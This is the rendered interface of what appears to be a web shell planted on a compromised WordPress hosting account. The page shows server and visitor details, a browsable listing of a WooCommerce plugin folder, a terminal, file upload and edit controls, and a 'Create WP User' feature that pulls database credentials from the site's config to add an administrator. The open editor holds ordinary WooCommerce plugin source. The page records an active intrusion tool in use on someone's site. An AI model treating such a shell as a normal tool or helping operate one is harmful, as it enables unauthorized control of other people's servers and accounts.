Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat_30102025
/
wp-content
/
plugins
/
woocommerce
/
src
/
Admin
/
PluginsProvider
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
PluginsProvider.php
1.82 KB
-rw-r--r--
2025-08-13 01:18
PluginsProviderInterface.php
936.00 B
-rw-r--r--
2025-08-13 01:18
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
PluginsProvider.php
<?php /** * A provider for getting access to plugin queries. */ namespace Automattic\WooCommerce\Admin\PluginsProvider; defined( 'ABSPATH' ) || exit; use Automattic\WooCommerce\Admin\PluginsProvider\PluginsProviderInterface; use Automattic\WooCommerce\Admin\PluginsHelper; /** * Plugins Provider. * * Uses the live PluginsHelper. */ class PluginsProvider implements PluginsProviderInterface { /** * The deactivated plugin slug. * * @var string */ private static $deactivated_plugin_slug = ''; /** * Get an array of active plugin slugs. * * @return array */ public function get_active_plugin_slugs() { return array_filter( PluginsHelper::get_active_plugin_slugs(), function( $p ) { return $p !== self::$deactivated_plugin_slug; } ); } /** * Set the deactivated plugin. This is needed because the deactivated_plugin * hook happens before the option is updated which means that getting the * active plugins includes the deactivated plugin. * * @param string $plugin_path The path to the plugin being deactivated. */ public static function set_deactivated_plugin( $plugin_path ) { self::$deactivated_plugin_slug = explode( '/', $plugin_path )[0]; } /** * Get plugin data. * * @param string $plugin Path to the plugin file relative to the plugins directory or the plugin directory name. * * @return array|false */ public function get_plugin_data( $plugin ) { return PluginsHelper::get_plugin_data( $plugin ); } /** * Get the path to the plugin file relative to the plugins directory from the plugin slug. * * E.g. 'woocommerce' returns 'woocommerce/woocommerce.php' * * @param string $slug Plugin slug to get path for. * * @return string|false */ public function get_plugin_path_from_slug( $slug ) { return PluginsHelper::get_plugin_path_from_slug( $slug ); } }
关闭
保存